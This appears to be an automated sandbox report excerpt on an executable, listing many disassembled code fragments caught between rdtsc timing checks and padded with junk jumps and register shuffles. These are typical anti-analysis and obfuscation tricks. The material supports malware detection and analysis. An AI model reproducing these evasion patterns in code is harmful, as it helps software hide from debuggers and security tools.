Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107A4 second address: 4A107E3 instructions: 0x00000000 rdtsc 0x00000002 mov edi, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 mov esi, edi 0x00000009 pop edi 0x0000000a popad 0x0000000b xchg eax, ecx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F5701148078h 0x00000013 sbb ch, 00000078h 0x00000016 jmp 00007F570114806Bh 0x0000001b popfd 0x0000001c mov edi, ecx 0x0000001e popad 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107E3 second address: 4A107E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107E7 second address: 4A107ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A107ED second address: 4A10810 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, si 0x00000006 call 00007F5700D44690h 0x0000000b pop eax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f xchg eax, ecx 0x00000010 pushad 0x00000011 mov ax, dx 0x00000014 push eax 0x00000015 push edx 0x00000016 mov esi, edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10810 second address: 4A10814 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10814 second address: 4A1084E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [774365FCh] 0x0000000c jmp 00007F5700D44691h 0x00000011 test eax, eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 jmp 00007F5700D44693h 0x0000001b mov cx, 7C4Fh 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1084E second address: 4A10863 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F5773AEB175h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10863 second address: 4A10867 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10867 second address: 4A1086B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1086B second address: 4A10871 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10871 second address: 4A10877 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10877 second address: 4A1087B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1087B second address: 4A108A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F570114806Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5701148075h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A108A9 second address: 4A10946 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, edx 0x00000005 pushfd 0x00000006 jmp 00007F5700D44693h 0x0000000b jmp 00007F5700D44693h 0x00000010 popfd 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 xor eax, dword ptr [ebp+08h] 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007F5700D44695h 0x0000001e adc al, 00000006h 0x00000021 jmp 00007F5700D44691h 0x00000026 popfd 0x00000027 pushfd 0x00000028 jmp 00007F5700D44690h 0x0000002d xor esi, 031A59A8h 0x00000033 jmp 00007F5700D4468Bh 0x00000038 popfd 0x00000039 popad 0x0000003a and ecx, 1Fh 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F5700D44695h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A10946 second address: 4A1098B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, di 0x00000006 pushfd 0x00000007 jmp 00007F5701148073h 0x0000000c sub esi, 6A5D244Eh 0x00000012 jmp 00007F5701148079h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b ror eax, cl 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1098B second address: 4A1099E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D4468Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A1099E second address: 4A109B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5701148074h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A109B6 second address: 4A109CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5700D4468Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4A109CB second address: 4A10A1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F570114806Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 retn 0004h 0x0000000c nop 0x0000000d mov esi, eax 0x0000000f lea eax, dword ptr [ebp-08h] 0x00000012 xor esi, dword ptr [00E62014h] 0x00000018 push eax 0x00000019 push eax 0x0000001a push eax 0x0000001b lea eax, dword ptr [ebp-10h] 0x0000001e push eax 0x0000001f call 00007F5704D38983h 0x00000024 push FFFFFFFEh 0x00000026 jmp 00007F5701148076h 0x0000002b pop eax 0x0000002c jmp 00007F5701148070h 0x00000031 ret 0x00000032 nop 0x00000033 push eax 0x00000034 call 00007F5704D389A6h 0x00000039 mov edi, edi 0x0000003b pushad 0x0000003c call 00007F570114806Eh 0x00000041 mov edi, eax 0x00000043 pop ecx 0x00000044 pushad 0x00000045 push eax 0x00000046 push edx 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C003E second address: 49C0065 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44691h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F5700D44690h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0065 second address: 49C0119 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 pushfd 0x00000009 jmp 00007F570114806Ch 0x0000000e xor si, 7DB8h 0x00000013 jmp 00007F570114806Bh 0x00000018 popfd 0x00000019 mov ax, 81EFh 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F5701148070h 0x00000026 sbb si, 3818h 0x0000002b jmp 00007F570114806Bh 0x00000030 popfd 0x00000031 movzx eax, dx 0x00000034 popad 0x00000035 mov ebp, esp 0x00000037 pushad 0x00000038 pushfd 0x00000039 jmp 00007F5701148071h 0x0000003e add si, E9B6h 0x00000043 jmp 00007F5701148071h 0x00000048 popfd 0x00000049 mov di, cx 0x0000004c popad 0x0000004d and esp, FFFFFFF8h 0x00000050 jmp 00007F570114806Ah 0x00000055 xchg eax, ecx 0x00000056 pushad 0x00000057 movzx esi, di 0x0000005a mov edi, 40ECD6EEh 0x0000005f popad 0x00000060 push eax 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 jmp 00007F5701148071h 0x00000069 movzx eax, di 0x0000006c popad 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0119 second address: 49C011F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C011F second address: 49C01A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148074h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007F5701148070h 0x00000011 xchg eax, ebx 0x00000012 pushad 0x00000013 movzx esi, dx 0x00000016 jmp 00007F5701148073h 0x0000001b popad 0x0000001c push eax 0x0000001d jmp 00007F5701148079h 0x00000022 xchg eax, ebx 0x00000023 jmp 00007F570114806Eh 0x00000028 mov ebx, dword ptr [ebp+10h] 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007F5701148077h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C01A8 second address: 49C01AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C01AE second address: 49C01B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C01B2 second address: 49C01B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C01B6 second address: 49C01D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F5701148073h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C01D4 second address: 49C0202 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F5700D4468Fh 0x00000008 pop esi 0x00000009 mov dx, 5C8Ch 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [esp], esi 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F5700D4468Dh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0202 second address: 49C0208 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0208 second address: 49C0253 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D4468Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+08h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov si, dx 0x00000012 pushfd 0x00000013 jmp 00007F5700D44699h 0x00000018 sbb cx, 0776h 0x0000001d jmp 00007F5700D44691h 0x00000022 popfd 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0253 second address: 49C0259 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C03E0 second address: 49C03EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D4468Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C03EF second address: 49C0410 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 1C7767CAh 0x00000008 jmp 00007F570114806Bh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 test byte ptr [esi+48h], 00000001h 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 movsx edi, si 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0410 second address: 49C04AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5700D44696h 0x00000009 or esi, 1ECC3DE8h 0x0000000f jmp 00007F5700D4468Bh 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F5700D44698h 0x0000001b adc al, 00000048h 0x0000001e jmp 00007F5700D4468Bh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 jne 00007F57737328C0h 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 call 00007F5700D4468Bh 0x00000035 pop esi 0x00000036 pushfd 0x00000037 jmp 00007F5700D44699h 0x0000003c or eax, 068F5C16h 0x00000042 jmp 00007F5700D44691h 0x00000047 popfd 0x00000048 popad 0x00000049 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C04AF second address: 49C04B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B07CE second address: 49B07EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44691h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B07EA second address: 49B07EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B07EE second address: 49B0801 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D4468Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0801 second address: 49B0807 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0807 second address: 49B089F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D4468Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d call 00007F5700D4468Fh 0x00000012 pushfd 0x00000013 jmp 00007F5700D44698h 0x00000018 sbb si, 0BB8h 0x0000001d jmp 00007F5700D4468Bh 0x00000022 popfd 0x00000023 pop esi 0x00000024 call 00007F5700D44699h 0x00000029 mov edx, eax 0x0000002b pop ecx 0x0000002c popad 0x0000002d xchg eax, ebp 0x0000002e pushad 0x0000002f push ebx 0x00000030 push eax 0x00000031 pop ebx 0x00000032 pop esi 0x00000033 call 00007F5700D44691h 0x00000038 mov dl, ah 0x0000003a pop edx 0x0000003b popad 0x0000003c mov ebp, esp 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F5700D4468Fh 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B089F second address: 49B08B7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5701148074h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B08B7 second address: 49B08E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and esp, FFFFFFF8h 0x0000000b jmp 00007F5700D44697h 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B08E0 second address: 49B08FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148077h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B08FB second address: 49B091F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44699h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B091F second address: 49B0925 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0A16 second address: 49B0A1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0A1A second address: 49B0A1E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0A1E second address: 49B0A24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0A24 second address: 49B0A39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5701148071h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0A39 second address: 49B0A5E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44691h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub ebx, ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F5700D4468Ah 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0A5E second address: 49B0AD9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5701148071h 0x00000009 jmp 00007F570114806Bh 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007F5701148078h 0x00000015 xor ecx, 7B9631B8h 0x0000001b jmp 00007F570114806Bh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 test esi, esi 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 call 00007F570114806Bh 0x0000002e pop ecx 0x0000002f call 00007F5701148079h 0x00000034 pop esi 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0AD9 second address: 49B0AFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D4468Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F5773739F29h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov di, 7C90h 0x00000016 push edx 0x00000017 pop esi 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0AFB second address: 49B0B10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5701148071h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B10 second address: 49B0B9C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44691h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F5700D4468Ch 0x00000019 add cx, 3B38h 0x0000001e jmp 00007F5700D4468Bh 0x00000023 popfd 0x00000024 pushad 0x00000025 pushfd 0x00000026 jmp 00007F5700D44695h 0x0000002b or ecx, 55DA01D6h 0x00000031 jmp 00007F5700D44691h 0x00000036 popfd 0x00000037 popad 0x00000038 popad 0x00000039 mov ecx, esi 0x0000003b push eax 0x0000003c push edx 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F5700D44698h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0B9C second address: 49B0BAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F570114806Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0BAB second address: 49B0C2C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F5700D4468Fh 0x00000008 pushfd 0x00000009 jmp 00007F5700D44698h 0x0000000e jmp 00007F5700D44695h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 je 00007F5773739E3Ah 0x0000001d pushad 0x0000001e pushad 0x0000001f mov cx, 2039h 0x00000023 pushfd 0x00000024 jmp 00007F5700D44696h 0x00000029 jmp 00007F5700D44695h 0x0000002e popfd 0x0000002f popad 0x00000030 push eax 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0C2C second address: 49B0C70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 test byte ptr [77436968h], 00000002h 0x0000000d jmp 00007F5701148078h 0x00000012 jne 00007F5773B3D7CBh 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007F5701148077h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0C70 second address: 49B0C96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44699h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edx, dword ptr [ebp+0Ch] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0C96 second address: 49B0CA9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F570114806Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0CA9 second address: 49B0CD6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44699h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5700D4468Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0CD6 second address: 49B0CF3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5701148071h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b movsx edi, ax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0CF3 second address: 49B0D11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 xchg eax, ebx 0x00000007 jmp 00007F5700D44690h 0x0000000c xchg eax, ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0D11 second address: 49B0D15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0D15 second address: 49B0D32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5700D44699h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0D32 second address: 49B0D73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop esi 0x00000005 pushfd 0x00000006 jmp 00007F5701148073h 0x0000000b or ax, 46DEh 0x00000010 jmp 00007F5701148079h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0D73 second address: 49B0D7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edx, eax 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0D7A second address: 49B0D8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F5701148070h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0D8E second address: 49B0D92 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0D92 second address: 49B0DA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F570114806Ah 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0DA7 second address: 49B0E20 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F5700D44691h 0x00000009 add ax, 9926h 0x0000000e jmp 00007F5700D44691h 0x00000013 popfd 0x00000014 mov eax, 52C20A57h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c push dword ptr [ebp+14h] 0x0000001f jmp 00007F5700D4468Ah 0x00000024 push dword ptr [ebp+10h] 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a mov eax, edi 0x0000002c pushfd 0x0000002d jmp 00007F5700D44699h 0x00000032 or cl, FFFFFFE6h 0x00000035 jmp 00007F5700D44691h 0x0000003a popfd 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49B0E8A second address: 49B0EB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F570114806Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a jmp 00007F5701148070h 0x0000000f mov esp, ebp 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 push esi 0x00000015 pop edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0E71 second address: 49C0E77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 49C0E77 second address: 49C0EC7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F570114806Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F570114806Bh 0x0000000f xchg eax, ebp 0x00000010 jmp 00007F5701148076h 0x00000015 mov ebp, esp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F5701148077h 0x0000001e rdtsc
